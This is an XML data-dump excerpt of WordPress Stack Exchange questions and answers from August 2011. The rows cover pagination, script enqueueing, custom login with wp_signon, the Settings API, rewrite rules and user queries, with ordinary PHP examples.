  <row Id="26896" PostTypeId="2" ParentId="26893" CreationDate="2011-08-25T15:36:04.930" Score="1" ViewCount="" Body="&lt;p&gt;Some handy links for you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Post_Thumbnails&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Post_Thumbnails&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_the_post_thumbnail&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/the_post_thumbnail&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/has_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/has_post_thumbnail&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Those are useful if you're wanting to display or act differently in the theme, based on the featured image.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-25T15:36:04.930" />
  <row Id="26897" PostTypeId="2" ParentId="26865" CreationDate="2011-08-25T15:51:46.097" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;have played around with the google analytics dashboard plugin, but&#xA;  there doesn't seem to be any way to achieve what I am after&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There isn't, because to use that plugin in the manner you want, you need a different GA account for each author to track each author, and select that account in the plugin settings. Like you would have to do with any traditional stats plugin that uses JS to record page hits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could possibly make a template file for each author that includes the tracking code for each and then record and display hits that way, either by JS or PHP.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-08-25T16:35:34.167" LastActivityDate="2011-08-25T16:35:34.167" />
  <row Id="26898" PostTypeId="1" CreationDate="2011-08-25T15:51:49.670" Score="0" ViewCount="37" Body="&lt;p&gt;I'm using the index.php file and editing this so that it displays 2 articles at a time. I'm using &lt;code&gt;query_posts( $query_string . '&amp;amp;posts_per_page=2' );&lt;/code&gt; before the main loop and it's displaying what i want correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How on earth do i then pagination this? So that i have a page navigation at the bottom?&lt;/p&gt;&#xA;" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-08-25T17:04:12.530" LastActivityDate="2011-08-25T17:10:38.637" Title="How do I Pagination in WordPress" Tags="&lt;query-posts&gt;&lt;pagination&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="26899" PostTypeId="1" AcceptedAnswerId="26902" CreationDate="2011-08-25T16:13:34.287" Score="0" ViewCount="20" Body="&lt;p&gt;I wondered if it was possible to change the order in which a script is enqueued.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask this because I wish to include the &lt;a href=&quot;http://remysharp.com/2009/01/07/html5-enabling-script/&quot; rel=&quot;nofollow&quot;&gt;HTML5 enabling script&lt;/a&gt; but it needs to be included before any styles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to change the order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could obviously hard code it into the themes header, but I would prefer to enqueue it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any suggestions you may have.&lt;/p&gt;&#xA;" OwnerUserId="7789" LastActivityDate="2011-08-25T16:54:06.417" Title="Enqueuing a script before anything else" Tags="&lt;wp-enqueue-script&gt;&lt;styles&gt;&lt;scripts&gt;&lt;wp-enqueue-style&gt;" AnswerCount="1" />
  <row Id="26900" PostTypeId="2" ParentId="26898" CreationDate="2011-08-25T16:21:47.523" Score="0" ViewCount="" Body="&lt;p&gt;helpful link: &lt;a href=&quot;http://skyje.com/2010/02/5-excellent-wordpress-pagination-solutions/&quot; rel=&quot;nofollow&quot;&gt;http://skyje.com/2010/02/5-excellent-wordpress-pagination-solutions/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-08-25T16:21:47.523" />
  <row Id="26902" PostTypeId="2" ParentId="26899" CreationDate="2011-08-25T16:54:06.417" Score="3" ViewCount="" Body="&lt;p&gt;You can change the order of the scripts but can't have one script load before anything else.  The HTML 5 enabling script is IE conditional so you probably don't want to use &lt;code&gt;wp_enqueue_script&lt;/code&gt; as it would load for all browser users which isn't necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's ok to hard code it in your themes header.  Even Twentyeleven does it this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there is nothing that says it has to be added before any styes.  It just has to be before the opening &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-08-25T16:54:06.417" CommentCount="4" />
  <row Id="26903" PostTypeId="2" ParentId="26851" CreationDate="2011-08-25T17:01:42.050" Score="0" ViewCount="" Body="&lt;p&gt;I've seen this bug before with the redirection plugin.  To rule out any theme or plugin issues disable all your plugins switch to the Twentyten or Twentyeleven theme and flush your permalinks.  Also make sure there are no other .htaccess files in any of the other WordPress directories or other rules in your vhost file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used Debian / Ubuntu Apache 2.2.14 package on many different servers with no issues.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-08-25T17:01:42.050" CommentCount="1" />
  <row Id="26904" PostTypeId="2" ParentId="26898" CreationDate="2011-08-25T17:10:38.637" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;query_posts&lt;/code&gt; alters the main loop and messes up pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;new WP_Query&lt;/code&gt; to show your first 2 posts before the main loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$args = array(&#xA;    'posts_per_page' =&amp;gt; 2,&#xA;    );&#xA;&#xA;$myquery = new WP_Query( $args );&#xA;&#xA;        while ( $myquery-&amp;gt;have_posts() ) : $myquery-&amp;gt;the_post(); &#xA;&#xA;//Do stuff&#xA;&#xA;endwhile;&#xA;&#xA;wp_reset_postdata();&#xA;&#xA;//Run main loop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-08-25T17:10:38.637" />
  <row Id="26905" PostTypeId="2" ParentId="26307" CreationDate="2011-08-25T17:14:12.653" Score="0" ViewCount="" Body="&lt;p&gt;To anyone else having the same problem as me, I used the &lt;a href=&quot;http://wordpress.org/extend/plugins/role-scoper/&quot; rel=&quot;nofollow&quot;&gt;Role Scoper plugin&lt;/a&gt;, which is recommended by WordPress on their page that describes user roles. It has a very simple UI, and is easy to install and use.&lt;/p&gt;&#xA;" OwnerUserId="6389" LastActivityDate="2011-08-25T17:14:12.653" />
  <row Id="26906" PostTypeId="2" ParentId="26823" CreationDate="2011-08-25T18:06:12.137" Score="5" ViewCount="" Body="&lt;p&gt;&lt;code&gt;twentyeleven_content_nav()&lt;/code&gt; uses the main query object, &lt;code&gt;$wp_query&lt;/code&gt;. You'll need to use the &lt;code&gt;$wp_query&lt;/code&gt; variable, rather than &lt;code&gt;$unfiltered_query&lt;/code&gt;, then &lt;code&gt;wp_reset_query()&lt;/code&gt; to restore the original &lt;code&gt;$wp_query&lt;/code&gt; (which it'll find in &lt;code&gt;$wp_the_query&lt;/code&gt;, something you should probably avoid touching directly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as you're careful to restore the original query, you're in good shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would submit a patch to core that allows &lt;code&gt;twentyeleven_content_nav()&lt;/code&gt; to optionally take a query object which it can use for its calculations.&lt;/p&gt;&#xA;" OwnerUserId="8175" LastActivityDate="2011-08-25T18:06:12.137" />
  <row Id="26907" PostTypeId="1" CreationDate="2011-08-25T18:34:59.123" Score="0" ViewCount="9" Body="&lt;p&gt;I'm trying to adapt &lt;a href=&quot;http://pastebin.com/xvqSvbYk&quot; rel=&quot;nofollow&quot;&gt;these Pastebin functions&lt;/a&gt; so that they:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Scan the post content for plaintext YouTube URLs (the type meant to be processed via Oembed);&lt;/li&gt;&#xA;&lt;li&gt;Retrieve the largest YouTube thumbnail for each embedded URL and sideload them, going through usual WordPress image resizing goodness and attaching them to the post&lt;/li&gt;&#xA;&lt;li&gt;Unlike in the original function, I do &lt;em&gt;not&lt;/em&gt; have to set the YouTube thumbnail as featured image (I've commented out line 39)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I thought I could switch out line 6 of the Pastebin with a call to Otto's function from &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7918/extract-the-first-oembed-url-inserted-on-the-content-of-a-post/14853#14853&quot;&gt;this thread&lt;/a&gt; but no joy so far. I assume because it's meant to be called when content loads rather than when it's being published/edited?  I'm betting there's a way to do this using RegEx to scan the full content, but thought if I could find a way to hook into what WordPress is doing with Oembed that would be more efficient. ? am I headed in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note I've updated the second function in that Pastebin to read this, to account for the new youtu.be URLs, if that matters at all:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// GET THE YOUTUBE ID FROM THE URL IN THE CUSTOM FIELD&#xA;function youtubeid($url) {&#xA;    $domain = parse_url( $url, PHP_URL_HOST );&#xA;    $url = esc_url( $url );&#xA;    if ( $domain == 'www.youtube.com' || $domain == 'youtube.com' ) {&#xA;        parse_str( parse_url( $url, PHP_URL_QUERY ) );&#xA;        $youtubeid = $v;&#xA;    } elseif ( $domain == 'youtu.be' ) {&#xA;        $youtubeid = substr( parse_url( $url, PHP_URL_PATH ), 1 ) ;&#xA;    } else {&#xA;        $youtubeid = '';&#xA;    }        &#xA;    return $youtubeid;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks so much for taking the time to read this - and of course for any help you can share!! :)&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-25T18:34:59.123" Title="Sideload YouTube thumbnail image on publish?" Tags="&lt;post-thumbnails&gt;&lt;youtube&gt;&lt;oembed&gt;" />
  <row Id="26908" PostTypeId="1" AcceptedAnswerId="26910" CreationDate="2011-08-25T18:38:48.163" Score="0" ViewCount="33" Body="&lt;p&gt;As the title suggests, I'm building a custom front-end login page for users of my site. I'm using wp_signon to log the user in after their credentials have been validated, but I'm getting this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\wordpress\wp-content\themes\twentyeleven\header.php:13) in C:\xampp\htdocs\wordpress\wp-includes\pluggable.php on line 737&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;twentyeleven\header.php:13 shows this (lines above and below included):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--[if IE 6]&amp;gt;&#xA;&amp;lt;html id=&quot;ie6&quot; &amp;lt;?php language_attribute(); ?&amp;gt;&amp;gt;&#xA;&amp;lt;![endif]--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've read a thing or two that said wp_signon must occur before any page content is created because it alters the headers, but I guess I'm not really sure how I'd use it then. Where should wp_signon go? Here's the structure of my code as it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Retrieve submitted $_POST values.&#xA;//Check if this is the first time the form has been displayed (there is a hidden input at the end of the form that changes a boolean to false for all future submits)&#xA;//If it's not the first time, do form validation and create an array with error ID's to be displayed in the form. One of these possible errors is wrong username/password combo:&#xA;if (!get_userdatabylogin( $submitted['email'] ))&#xA;     $errors['emailIsValid'] = false;&#xA;else&#xA;{&#xA;     $user_data = get_userdatabylogin( $submitted['email'] );&#xA;     $password_hashed = $user_data-&amp;gt;user_pass;&#xA;     if (wp_check_password($submitted['password'], $password_hashed, $user_data-&amp;gt;ID))&#xA;     {&#xA;          $credentials = array();&#xA;          $credentials['user_login'] = $submitted['email'];&#xA;          $credentials['user_password'] = $submitted['password'];&#xA;          if (empty($submitted['rememberme']))&#xA;               $credentials['remember'] = false;&#xA;          else&#xA;               $credentials['remember'] = true;&#xA;          wp_signon($credentials, true);&#xA;     }&#xA;     else&#xA;          errors['passwordMatchesEmail'] = false;&#xA;}&#xA;//Check to see if the errors array has any flags, if so flag a variable to say errors exist&#xA;//Form code: form submits to itself&#xA;//Check error flags and display error message accordingly&#xA;//Display body of form&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything works perfectly except for that &lt;code&gt;wp_signon&lt;/code&gt; line. Entering the correct credentials yields the error I mentioned above.&lt;/p&gt;&#xA;" OwnerUserId="7594" LastActivityDate="2011-08-25T18:53:30.370" Title="Custom Login Page -- wp_signon Headers Already Sent?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;login&gt;&lt;headers&gt;" AnswerCount="1" />
  <row Id="26909" PostTypeId="2" ParentId="26873" CreationDate="2011-08-25T18:49:40.877" Score="3" ViewCount="" Body="&lt;p&gt;You have to write it yourself. Check out the way WP e-commerce does it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the function to &quot;register&quot; the theme files.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpsc_register_theme_file( $file_name ) {&#xA;    global $wpec_theme_files;&#xA;&#xA;    if ( !in_array( $file_name, (array)$wpec_theme_files ) )&#xA;        $wpec_theme_files[] = $file_name;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then the function to find a theme file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Checks the active theme folder for the particular file, if it exists then return the active theme directory otherwise&#xA; * return the global wpsc_theme_path&#xA; * @access public&#xA; *&#xA; * @since 3.8&#xA; * @param $file string filename&#xA; * @return PATH to the file&#xA; */&#xA; function wpsc_get_template_file_path( $file = '' ){&#xA;&#xA;     // If we're not looking for a file, do not proceed&#xA;     if ( empty( $file ) )&#xA;         return;&#xA;&#xA;     // No cache, so find one and set it&#xA;     if ( false === ( $file_path = get_transient( WPEC_TRANSIENT_THEME_PATH_PREFIX . $file ) ) ) {&#xA;         // Look for file in stylesheet&#xA;         if ( file_exists( get_stylesheet_directory() . '/' . $file ) ) {&#xA;             $file_path = get_stylesheet_directory() . '/' . $file;&#xA;&#xA;         // Look for file in template&#xA;         } elseif ( file_exists( get_template_directory() . '/' . $file ) ) {&#xA;             $file_path = get_template_directory() . '/' . $file;&#xA;&#xA;         // Backwards compatibility&#xA;         } else {&#xA;             // Look in old theme path&#xA;             $selected_theme_check = WPSC_OLD_THEMES_PATH . get_option( 'wpsc_selected_theme' ) . '/' . str_ireplace( 'wpsc-', '', $file );&#xA;&#xA;             // Check the selected theme&#xA;             if ( file_exists( $selected_theme_check ) ) {&#xA;                 $file_path = $selected_theme_check;&#xA;&#xA;             // Use the bundled file&#xA;             } else {&#xA;                 $file_path = WPSC_CORE_THEME_PATH . '/' . $file;&#xA;             }&#xA;         }&#xA;         // Save the transient and update it every 12 hours&#xA;         if ( !empty( $file_path ) )&#xA;             set_transient( WPEC_TRANSIENT_THEME_PATH_PREFIX . $file, $file_path, 60 * 60 * 12 );&#xA;&#xA;     }elseif(!file_exists($file_path)){&#xA;         delete_transient(WPEC_TRANSIENT_THEME_PATH_PREFIX . $file);&#xA;         wpsc_get_template_file_path($file);&#xA;     }&#xA;&#xA;     // Return filtered result&#xA;     return apply_filters( WPEC_TRANSIENT_THEME_PATH_PREFIX . $file, $file_path );&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In an init hook, the plugin registers all the theme files that it needs using wpsc_register_theme_file():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wpsc_register_theme_file( 'wpsc-single_product.php' );&#xA;wpsc_register_theme_file( 'wpsc-grid_view.php' );&#xA;wpsc_register_theme_file( 'wpsc-list_view.php' );&#xA;wpsc_register_theme_file( 'wpsc-products_page.php' );&#xA;wpsc_register_theme_file( 'wpsc-shopping_cart_page.php' );&#xA;wpsc_register_theme_file( 'wpsc-transaction_results.php' );&#xA;wpsc_register_theme_file( 'wpsc-user-log.php' );&#xA;wpsc_register_theme_file( 'wpsc-cart_widget.php' );&#xA;wpsc_register_theme_file( 'wpsc-featured_product.php' );&#xA;wpsc_register_theme_file( 'wpsc-category-list.php' );&#xA;wpsc_register_theme_file( 'wpsc-category_widget.php' ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then when the file is actually needed, they call wpsc_get_template_file_path():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch ( $display_type ) {&#xA;        case &quot;grid&quot;:&#xA;            include( wpsc_get_template_file_path( 'wpsc-grid_view.php' ) );&#xA;            break; // only break if we have the function;&#xA;&#xA;        case &quot;list&quot;:&#xA;            include( wpsc_get_template_file_path( 'wpsc-list_view.php' ) );&#xA;            break; // only break if we have the file;&#xA;        default:&#xA;            include( wpsc_get_template_file_path( 'wpsc-products_page.php' ) );&#xA;            break;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously the code would look different for your plugin, but the principles should be the same.&lt;/p&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2011-08-25T18:49:40.877" />
  <row Id="26910" PostTypeId="2" ParentId="26908" CreationDate="2011-08-25T18:53:30.370" Score="1" ViewCount="" Body="&lt;p&gt;You have to hook earlier in the request to log someone in, you can't do it from a page template because, as the error says, headers have been sent to the browser already, so it's too late at that point.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php   &#xA;add_action('template_redirect', 'my_check_login');&#xA;&#xA;function my_check_login(){&#xA;    if( is_page('my-login-page') &amp;amp;&amp;amp; isset($_POST['email']) ){&#xA;        // check input and&#xA;        // do my login stuff here   &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-25T18:53:30.370" CommentCount="1" />
  <row Id="26911" PostTypeId="1" CreationDate="2011-08-25T19:12:31.230" Score="2" ViewCount="18" Body="&lt;p&gt;Is there a way to have pagination on multiple tabs?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a page the has 5 tabs, each tab has filtered content from the same posts.  For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tab 1 - All Posts.&#xA;Tab 2 - Posts with Keyword One.&#xA;Tab 3 - Posts with Keyword Two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I can't figure out how to use pagination on each tab and have the user be able to select the page on that tab and stay on that tab - it wants to go back to the first tab.&lt;/p&gt;&#xA;" OwnerUserId="7481" LastActivityDate="2011-08-25T19:12:31.230" Title="Keep Pagination in Tabs" Tags="&lt;pagination&gt;&lt;tabs&gt;" CommentCount="1" FavoriteCount="1" />
  <row Id="26912" PostTypeId="2" ParentId="26144" CreationDate="2011-08-25T19:14:46.857" Score="0" ViewCount="" Body="&lt;p&gt;It sounds like you have some of your Settings API calls wrong. Your dropdown input is created in the callback of your add_settings_field(). Each settings field needs to be told which settings section it is part of, and then your options page communicates which settings sections it needs to display through the do_settings() function.&#xA;Here's a short code example using a checkbox (omitting a few of the callback functions, but ALL of your callbacks need to be valid functions-- even if you make them empty functions):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function plugin_admin_init()&#xA;{&#xA;     //Register your plugin's options with the Settings API, this will be important when you write your options page callback, sanitizing callback omitted&#xA;     register_setting( 'plugin_options_group', 'plugin_options_name', 'sanitizing_callback' );&#xA;     //Add a new settings section, section callback omitted&#xA;     add_settings_section( 'section_id', 'Plugin Settings', 'section_callback', 'section_options_page_type' );&#xA;     //Add a new settings field&#xA;     add_settings_field( 'plugin_checkbox', 'Send automated emails?', 'field_callback', 'section_options_page_type', 'section_id' );&#xA;}&#xA;add_action('admin_init', 'plugin_admin_init');&#xA;&#xA;function field_callback()&#xA;{&#xA;     //The key thing that makes it a checkbox or textbox is the input type attribute. The thing that links it to my plugin option is the name I pass it.&#xA;     echo &quot;&amp;lt;input id='plugin_checkbox' name='plugin_options_name[plugin_checkbox]' type='checkbox' value='true' /&amp;gt;&quot;&#xA;}&#xA;&#xA;function setup_menu()&#xA;{&#xA;     add_menu_page('Page Name', 'Page Name', 'user_capability_level', 'page_slug', 'page_callback');&#xA;}&#xA;add_action('admin_menu', 'setup_menu');&#xA;&#xA;function page_callback()&#xA;{&#xA;?&amp;gt;&#xA;&amp;lt;div class='wrap'&amp;gt;&#xA;     &amp;lt;h2&amp;gt;Page Name&amp;lt;/h2&amp;gt;&#xA;     &amp;lt;form method='post' action='options.php'&amp;gt;&#xA;     &amp;lt;?php&#xA;     //Must be same name as the name you registered with register_setting()&#xA;     settings_fields('plugin_options_group');&#xA;     //Must match the type of the section you want to display&#xA;     do_settings_section('section_options_page_type');&#xA;     ?&amp;gt;&#xA;          &amp;lt;p class='submit'&amp;gt;&#xA;               &amp;lt;input name='submit' type='submit' id='submit' class='button-primary' value='&amp;lt;?php _e(&quot;Save Changes&quot;) ?&amp;gt;' /&amp;gt;&#xA;          &amp;lt;/p&amp;gt;&#xA;     &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7594" LastActivityDate="2011-08-25T19:14:46.857" />
  <row Id="26913" PostTypeId="2" ParentId="26862" CreationDate="2011-08-25T19:18:50.907" Score="0" ViewCount="" Body="&lt;p&gt;It looks like they're not using a plugin, it's built-in to their theme. However, the script seems to be &lt;a href=&quot;http://www.dynamicdrive.com/dynamicindex17/ddaccordion.htm&quot; rel=&quot;nofollow&quot;&gt;ddaccordion&lt;/a&gt;, so you should be able to get it working on your own site.&lt;/p&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2011-08-25T19:18:50.907" />
  <row Id="26914" PostTypeId="1" AcceptedAnswerId="26917" CreationDate="2011-08-25T19:25:16.717" Score="1" ViewCount="40" Body="&lt;p&gt;I have a page created (page ID &lt;code&gt;235&lt;/code&gt;) with a page template that will need to be passed a variable. I would like to pass this variable through the URL. My first attempt was to pass this with a GET variable, and that worked just fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;URL: http://example.com/sok/events/?kategori=variablehere&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I thought I'd spice this up a bit and prettify it. This is what I am aiming to achieve:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;URL: http://example.com/sok/events/variablehere&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code I have been using in my attempt looks like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-php prettyprint-override&quot;&gt;function setup_filter_rewrites()&#xA;{&#xA;    add_rewrite_tag('%kategori%','([^&amp;]+)');&#xA;    add_rewrite_rule('^sok/events/([^/]*)/?', 'index.php?p=235&amp;kategori=$matches[1]', 'top');&#xA;}&#xA;add_action( 'init', 'setup_filter_rewrites' );&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, when accessing the URL above, I am redirected to &lt;code&gt;http://example.com/sok/events/&lt;/code&gt; - i.e. the URL but without the query variable. Obviously, as you may guess, the query variable is not accessible inside the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I heard of the &lt;code&gt;redirect_canonical&lt;/code&gt; function potentially causing problems with rewrite rules, so I disabled it. After having done so, accessing the above URL instead yields a 404.php request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, I've really tried to cut back on the code to make it as simple as possible as well as using the correct API functions. I have checked the rule with &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;A tool to analyze rewrite rules?&lt;/a&gt; and it reports the variable as being public and accessible. I tried cutting the page down to a simple &lt;code&gt;echo $wp_query-&gt;query_vars['kategori']&lt;/code&gt; but that did not output anything nor did it prevent the redirection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect the redirection is the problem here - if I could stop it, I'm confident I'd be able to grab the query variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem is similar to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/25241/url-rewrite-page-custom-post-type-unusual-redirect&quot;&gt;URL Rewrite + Page + Custom Post Type = Unusual Redirect&lt;/a&gt; and &lt;a href=&quot;http://wordpress.stackexchange.com/questions/26497/querystring-parameter-getting-lost-in-rewrite-rule&quot;&gt;Querystring parameter getting lost in rewrite rule&lt;/a&gt; insofar that it is also a redirection error. However, in my case, I am not dealing with custom post types of any kind.&lt;/p&gt;&#xA;" OwnerUserId="7904" LastEditorUserId="7904" LastEditorDisplayName="" LastEditDate="2011-08-25T19:39:58.783" LastActivityDate="2011-08-31T00:51:29.083" Title="Prettified page URL w/ query var redirects to prettified page URL w/o query var" Tags="&lt;rewrite-rules&gt;&lt;rewrite-tag&gt;" AnswerCount="1" />
  <row Id="26915" PostTypeId="1" CreationDate="2011-08-25T19:29:52.323" Score="0" ViewCount="31" Body="&lt;p&gt;I have a question and would like help from friends. I want to add two fields on the page of users registered on my blog. I added some pictures to brighten my explanation.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When we register a user manually, following User&gt; Add User, I would add this field:&#xA;&lt;a href=&quot;http://imageshack.us/photo/my-images/5/profile1ei.png/&quot; rel=&quot;nofollow&quot;&gt;http://imageshack.us/photo/my-images/5/profile1ei.png/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When a user is already registered and following User&gt; Users&gt; (select the user and click edit), I would add this field:&#xA;&lt;a href=&quot;http://imageshack.us/photo/my-images/593/profile2g.png/&quot; rel=&quot;nofollow&quot;&gt;http://imageshack.us/photo/my-images/593/profile2g.png/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I saw several blogs / forum that show how to add input on the contact and how to create a new block, but found nothing that could be the way I like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="7633" LastActivityDate="2011-09-02T02:50:13.780" Title="Fields in User Profile Page" Tags="&lt;profile&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="26916" PostTypeId="1" AcceptedAnswerId="26923" CreationDate="2011-08-25T19:34:59.430" Score="0" ViewCount="33" Body="&lt;pre&gt;&lt;code&gt;$wp_user_search = new WP_User_Query( array( 'role' =&amp;gt; 'author' ) );&#xA;$author_list = $wp_user_search-&amp;gt;get_results();&#xA;&#xA;foreach($author_list as $author)&#xA;{&#xA;  // author properties?&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you point me in the direction of the documentation of what properties &lt;code&gt;$author&lt;/code&gt; has?&lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2011-08-25T21:02:48.570" Title="What does the class look like that is returned from WP_User_Query?" Tags="&lt;author&gt;&lt;list-authors&gt;" AnswerCount="2" />
  <row Id="26917" PostTypeId="2" ParentId="26914" CreationDate="2011-08-25T19:39:19.140" Score="1" ViewCount="" Body="&lt;p&gt;I think you just have to add &lt;code&gt;kategori&lt;/code&gt; to the array of query vars:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT-&lt;/strong&gt; after much iteration we've arrived at a solution. the original code seemed to be working, but only with specific permalink settings, as I was mistakenly routing to a post instead of a page. rather than &lt;code&gt;p=&lt;/code&gt;, it should be &lt;code&gt;pagename=&lt;/code&gt;, with both the parent and child page in the path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function setup_filter_rewrites()&#xA;{&#xA;    add_rewrite_rule('sok/events/([^/]*)/?', 'index.php?pagename=sok/events&amp;amp;kategori=$matches[1]', 'top');&#xA;}&#xA;add_action( 'init', 'setup_filter_rewrites' );  &#xA;&#xA;function setup_filter_query_vars( $query_vars )&#xA;{&#xA;    $query_vars[] = 'kategori';&#xA;    return $query_vars;&#xA;}&#xA;add_filter( 'query_vars', 'setup_filter_query_vars' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-08-31T00:51:29.083" LastActivityDate="2011-08-31T00:51:29.083" CommentCount="13" />
